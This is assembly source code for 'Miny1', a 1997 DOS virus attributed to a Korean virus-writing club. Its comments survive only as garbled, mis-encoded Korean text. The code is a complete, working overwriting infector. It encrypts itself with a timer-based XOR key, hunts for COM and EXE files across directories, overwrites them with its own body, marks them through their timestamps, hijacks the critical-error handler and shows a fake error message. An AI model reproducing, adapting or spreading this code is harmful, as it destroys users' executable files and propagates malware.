;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;
;           Miny1.432                                        CVC #01  97/06
;
;
; 贰焣 : Miny1.432
; 笰竍竌 : Osiris of CVC,Corea 97.06.01
; 狗烝 : А瑆簛褀 塻羇砤嫛
;
; Miny1 め媋垇 め稿贰攁.
; 蘟珐 纗嫛 衖榿 痑蒕 積 坬祋 签 烯禷坅 呆攁.
;
; 顶渷 Miny1 積 SVS(Seoul Virus Society)穪 KOV (贰溼痑穪 嫛琣:Knight Of Virus
; ) 坅 笰竍袞傣攁.
;
;
;
;
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>


 Miny1         SEGMENT PARA 'Miny1'
               assume cs:Miny1, ds:Miny1

               Org     100h
 Entry:        call    Decode                   ; 磓选 螇嫛

 Encry_Start:
               Mov     byte ptr S_Find,00       ; COM 坬祋伐坅, EXE 坬祋伐坅
               mov     byte ptr Total,00        ; 3垇 坬祋
               Mov     dx,offset Com_File       ; 　梕 COM 蘟珐 坬祋
               mov     byte ptr Infected,00     ; 坬祋朎 垥畞焛 0 穉潯 衑攁.
               Jmp     Find_File                ; 蘟珐 纗嫛潯 格蟖

;=================================================
; 旳贰柔 坱 祑礲
;

 Msg           DB      'Abnormal Program Termination.',0Dh,0Ah,'$'
 Com_File      DB      '*.com',00               ; 　梕 COM 蘟珐
 Exe_File      DB      '*.exe',00               ; 　梕 EXE 蘟珐
 Total         DB      ?                        ; 坬祋钎畞
 Infected      DB      ?                        ; 弧媞宎弧 坬祋朎 蘟珐梚
 S_Find        DB      ?                        ; 坬祋恰墶 范揺 瑆葋
 UP            DB      '..',00                  ; 瑆夺潯 贰暦

 Vir_Msg       DB ' Miny1 Virus - bug fix version   97/06/01',0Dh,0Ah
               DB ' (c) Copyleft 1997 by Osiris of CVC,Corea ',0Dh,0Ah
               DB ' CVC ? Corean Virus Club',0Dh,0Ah,'$'

               mov     bx,ds
               xor     ax,ax
               mov     ds,ax
               push    DS:[0090h]               ; Int 24h 坱 羔竪
               Push    DS:[0092h]

               mov     DS:[0090h],offset NewInt24   ; Int 24h 坅潯缿
               mov     DS:[0092h],cs

               Push    CS                       ; cs=ds
               Pop     DS
 Find_File:
               Mov     ah,4Eh                   ; 蘟珐 纗嫛
               Mov     cx,00100011B             ; 蘟珐 
 Find:         Int     21h
               Jc      Find_EXE                 ; 礎溼?
 ChkInfect:
               mov     ax, DS:[0080h+1Eh]
               cmp     ax,'OC'                  ; COMMAND.COM 伐坅 ?
               jz      Find_NEXT
               Mov     al, DS:[0080h+22]        ; 坬祋 礱 堮琣
               And     al,1Fh                   ; 62 痢 伐坅?
               Cmp     al,1Fh
               Jnz     InfectFile
               inc     byte ptr INFECTED        ; 坬祋朎 蘟珐
 Find_NEXT:
               Mov     ah,4Fh                   ; 攁穛 蘟珐 堮琣
               JMP     Find                     ;

 InfectFile:
               mov     ax,4301h                 ; 穒 藩嫛/砤嫛潯 爀梕攁.
               xor     cx,cx                    ; DTA 坅 0080h 柔 竍衋潯
               mov     dx,0080h+1eh
               int     21h

               mov     ax,3d02h                 ; 怠蟚/砤嫛潯 怠蟚
               int     21h

               xchg    ax,bx                    ; AX 礎 袇梚 慅嫛
               mov     ax,5700h                 ; 坋 磋嫛
               int     21h
               push    cx
               push    dx

               xor     ax,ax                    ; 繁穪穪 坋 磋嫛 (磓选蚜
               mov     es,ax                    ; 礎 琣秝)
               mov     al,byte ptr ES:[046Ch]   ; 0000:046Ch
               Push    CS                       ;
               Pop     ES                       ;
               mov     Key_Value,al             ; Key_Value = 磓选恰 坱
               call    Write_Vir                ; 贰溼痑 砤嫛 选聣

               pop     dx                       ; 坋 ア妬
               pop     cx
               or      cx,+1Fh                  ; 痢焛 62痢 潯 帒
               mov     ax,5701h                 ; 坋 埂各(顶渷 坋)
               int     21h

               mov     ah,3eh                   ; 蘟珐 攈嫛
               Int     21h
               cmp     byte ptr Total,3         ; 3垇 坬祋舦恆?
               jz      Stop_Virus
               Inc     byte ptr Total           ; 1 粀坅
               JMP     Find_NEXT
 Find_EXE:
               cmp     byte ptr S_Find,1        ; 01贰 EXE 蘟珐暋 坬祋舦攁.
               Jnz     DX_EXE
               mov     dx, offset UP            ; 瑆夺 棥滲伞煛潯 贰暦
               mov     ah,3Bh
               Int     21h
               jc      Stop_Virus               ; 瀬薬 棥滲伞煛 伐坅 ?
               mov     byte ptr S_Find,00       ; COM 蘟珐 柔 坬祋
               mov     dx, offset COM_File
               jmp     Find_File
 DX_EXE:
               Mov     byte ptr S_Find,01       ; EXE 蘟珐穒 坬祋臿渁.
               Mov     dx,offset Exe_File       ;
               Jmp     Find_File

 Stop_Virus:
               xor     ax,ax                    ; 顶渷 Int 24h 潯 帒
               mov     ds,ax
               pop     DS:[0092h]
               pop     DS:[0090h]
               Push    CS
               Pop     DS
               mov     dx, offset Msg           ; 各瑆糕伐 礎溼潯 坅竪
               cmp     byte ptr Infected,15     ; 15垇 坬祋舦穉 弧
               jb      PrtMsg
               mov     dx, offset Vir_Msg
               mov     ax,0F044h                ; 湋礎 瑆簛衼 范揺 衼攚 贰溼痑穪
               Int     21h                      ; 粀瑆 选聣

 PrtMsg:       mov     ah,9                     ; 弧 聣漛
               Int     21h

               Mov     ax,4C23h                 ; 薭贰衋堿 狗瀉坱穒 簠攁.
               int     21h

 NewInt24:                                      ; Int 24h 泪煛
               xor     al,al
               IRET

 End_Encry:

;==================================================
;   贰溼痑 磓选蚜 
;
 Write_Vir:    call    Decode                   ; 磓选
               mov     ah,40h                   ; 贰溼痑 砤嫛
               mov     dx, 100h
               mov     cx, offset Vir_END - 100h;
               Int     21h
               call    Decode                   ; 磓选 衼笰
               RET
 Key_Value     DB      ?

 Decode:
               mov     si, 103h                 ; 磓选 竍格
               mov     di,si
               mov     ah,Key_value             ; 磓选 恰坱
               mov     cx, offset End_Encry - 103h
 E_Ing:
               lodsb                            ; 磓选蚜
               xor     al,ah
               stosb
               loop    E_ing
               RET
 Vir_END:

 Miny1         ENDS
               END     Entry
